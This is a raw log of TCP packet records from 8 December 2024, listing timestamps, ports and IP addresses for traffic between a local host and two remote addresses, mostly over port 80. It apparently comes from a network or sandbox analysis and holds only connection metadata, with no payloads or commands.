Dec 8, 2024 17:45:16.487209082 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.487262011 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487370014 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487401009 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.487452030 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487588882 CET	49724	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487601042 CET	443	49724	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.487618923 CET	49725	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487633944 CET	443	49725	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.502724886 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.502784967 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.502794981 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.502806902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.502810955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.502829075 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.502847910 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.503818035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.503870010 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.503901005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.503936052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.504879951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.504924059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.504978895 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.505064964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.506222963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.506280899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.506409883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.506459951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.507292032 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.507342100 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.507369995 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.507381916 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.508404970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.508445978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.508955002 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.509023905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.509061098 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.509105921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.510137081 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.510175943 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.510211945 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.510261059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.511328936 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.511373043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.511377096 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.511409044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.511825085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.511871099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.511878014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.511883974 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.511915922 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.512710094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.512840986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.512851954 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.512895107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.513427019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.513478994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.513521910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.513534069 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.513571978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.514250040 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.514307022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.514317989 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.514326096 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.514342070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.514364958 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.515048027 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515094042 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.515115976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515130997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515153885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.515172005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.515888929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515934944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515938044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.515948057 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.515984058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.516772985 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.516793013 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.516805887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.516817093 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.516829967 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.516845942 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.517498970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.517537117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.517549038 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.517551899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.517570972 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.517585993 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.518337965 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.518357992 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.518369913 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.518409014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.518426895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.519190073 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519238949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.519251108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519262075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519289017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.519330978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.519952059 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519972086 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519984007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.519994020 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.520005941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.520025015 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.520788908 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.520840883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.520853043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.520869017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.520869017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.520893097 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.521567106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.521617889 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.521622896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.521636009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.521651030 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.521672964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.522433043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.522481918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.522492886 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.522525072 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.522563934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.523471117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.523510933 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.523514032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.523523092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.523550987 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.523566008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.524060011 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.524111032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.524266958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.524333000 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.524341106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.524353027 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.524384975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.525121927 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525163889 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.525183916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525197029 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525223970 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.525245905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.525930882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525950909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525963068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.525975943 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.526005030 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.526765108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.526815891 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.526822090 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.526834965 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.526866913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.526900053 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.527551889 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.527592897 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.527626038 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.527637959 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.527662992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.527693033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.528362036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.528403997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.528414011 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.528417110 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.528436899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.528451920 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.529175997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.529221058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.547545910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547597885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.547602892 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547616005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547660112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.547933102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547945023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547957897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.547981024 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.548008919 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.548700094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.548747063 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.548753977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.548768044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.548790932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.548800945 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.549715042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.549757957 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.549782991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.549793959 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.549824953 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.550425053 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.550436974 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.550452948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.550472021 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.550491095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551044941 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551070929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551083088 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551085949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551105976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551130056 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551843882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551892996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551903009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551914930 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.551935911 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.551953077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.552644014 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.552690029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.552700043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.552711964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.552742958 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.553426981 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.553478956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.553500891 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.553513050 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.553541899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.554403067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.554440022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.554447889 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.554454088 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.554480076 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.554491997 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.555032015 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555051088 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555062056 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555083990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.555113077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.555819988 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555871964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555880070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.555890083 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.555913925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.555921078 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.556627035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.556669950 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.556684971 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.556695938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.556720972 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.556735992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.557389975 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.557435036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.613883018 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.613934994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.614044905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.614056110 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.614085913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.614106894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.614187956 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.614228964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.614254951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.614268064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.614303112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.615061998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615104914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.615133047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615145922 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615180969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.615833044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615880966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.615927935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615942001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.615986109 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.616628885 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.616677046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.616702080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.616713047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.616749048 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.617398024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.617446899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.617460012 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.617470980 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.617530107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.618179083 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.618238926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.618261099 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.618273973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.680321932 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.680367947 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.680399895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.680418968 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.680428982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.680478096 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.680622101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.680634975 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.680687904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.681283951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.681297064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.681307077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.681333065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.681359053 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.682811022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.682822943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.682833910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.682868958 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.682904005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.683166981 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.683209896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.683219910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.683245897 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.683260918 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.684068918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684112072 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684118986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.684123039 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684150934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.684160948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.684813023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684824944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684835911 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.684863091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.684890985 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.685893059 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.685939074 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.685947895 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.685960054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.685985088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.686374903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.686429024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.686440945 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.686466932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.686486959 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.687149048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.687160015 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.687170982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.687211037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.687237024 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.687935114 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.687989950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.687992096 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.688004017 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.688026905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.688038111 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.688736916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.688749075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.688760042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.688793898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.688815117 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.689539909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.689625978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.689636946 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.689662933 CET	49715	80	192.168.2.6	185.215.113.206
